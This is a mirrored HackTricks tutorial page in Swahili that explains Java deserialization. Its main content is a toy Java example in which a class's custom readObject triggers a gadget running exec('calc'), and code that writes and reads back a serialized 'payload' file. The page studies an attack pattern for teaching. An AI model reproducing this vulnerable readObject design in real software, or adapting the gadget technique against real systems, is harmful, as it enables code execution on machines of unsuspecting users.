mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
113 lines
5.6 KiB
Markdown
113 lines
5.6 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
|
|
Katika chapisho hili, mfano utaelezwa ukitumia `java.io.Serializable`.
|
|
|
|
# Serializable
|
|
|
|
Kiolesura cha Java `Serializable` (`java.io.Serializable` ni kiolesura cha alama ambacho darasa zako lazima zitekeleze ikiwa zinapaswa **kuserilishwa** na **kudiserilishwa**. Userilishaji wa vitu vya Java (kuandika) unafanywa na [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) na kudiserilishwa (kusoma) unafanywa na [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
|
|
|
Hebu tuone mfano na **darasa la Person** ambalo ni **linaloweza kuserilishwa**. Darasa hili **linabadilisha kazi ya readObject**, kwa hivyo wakati **kitu chochote** cha darasa hili **kinapodiserilishwa**, **kazi hii** itatekelezwa.\
|
|
Katika mfano huo, kazi ya **readObject** ya darasa la Person inaita kazi `eat()` ya mnyama wake na kazi `eat()` ya Mbwa (kwa sababu fulani) inaita **calc.exe**. **Tutaona jinsi ya kuserilisha na kudiserilisha kitu cha Person ili kutekeleza kikokotozi hiki:**
|
|
|
|
**Mfano ufuatao ni kutoka [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
|
```java
|
|
import java.io.Serializable;
|
|
import java.io.*;
|
|
|
|
public class TestDeserialization {
|
|
interface Animal {
|
|
public void eat();
|
|
}
|
|
//Class must implements Serializable to be serializable
|
|
public static class Cat implements Animal,Serializable {
|
|
@Override
|
|
public void eat() {
|
|
System.out.println("cat eat fish");
|
|
}
|
|
}
|
|
//Class must implements Serializable to be serializable
|
|
public static class Dog implements Animal,Serializable {
|
|
@Override
|
|
public void eat() {
|
|
try {
|
|
Runtime.getRuntime().exec("calc");
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
System.out.println("dog eat bone");
|
|
}
|
|
}
|
|
//Class must implements Serializable to be serializable
|
|
public static class Person implements Serializable {
|
|
private Animal pet;
|
|
public Person(Animal pet){
|
|
this.pet = pet;
|
|
}
|
|
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
|
|
private void readObject(java.io.ObjectInputStream stream)
|
|
throws IOException, ClassNotFoundException {
|
|
pet = (Animal) stream.readObject();
|
|
pet.eat();
|
|
}
|
|
}
|
|
public static void GeneratePayload(Object instance, String file)
|
|
throws Exception {
|
|
//Serialize the constructed payload and write it to the file
|
|
File f = new File(file);
|
|
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
|
out.writeObject(instance);
|
|
out.flush();
|
|
out.close();
|
|
}
|
|
public static void payloadTest(String file) throws Exception {
|
|
//Read the written payload and deserialize it
|
|
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
|
Object obj = in.readObject();
|
|
System.out.println(obj);
|
|
in.close();
|
|
}
|
|
public static void main(String[] args) throws Exception {
|
|
// Example to call Person with a Dog
|
|
Animal animal = new Dog();
|
|
Person person = new Person(animal);
|
|
GeneratePayload(person,"test.ser");
|
|
payloadTest("test.ser");
|
|
// Example to call Person with a Cat
|
|
//Animal animal = new Cat();
|
|
//Person person = new Person(animal);
|
|
//GeneratePayload(person,"test.ser");
|
|
//payloadTest("test.ser");
|
|
}
|
|
}
|
|
```
|
|
## Hitimisho
|
|
|
|
Kama unavyoona katika mfano huu wa msingi sana, "udhaifu" hapa unaonekana kwa sababu **kazi ya readObject** inaita **kazi nyingine zenye udhaifu**.
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|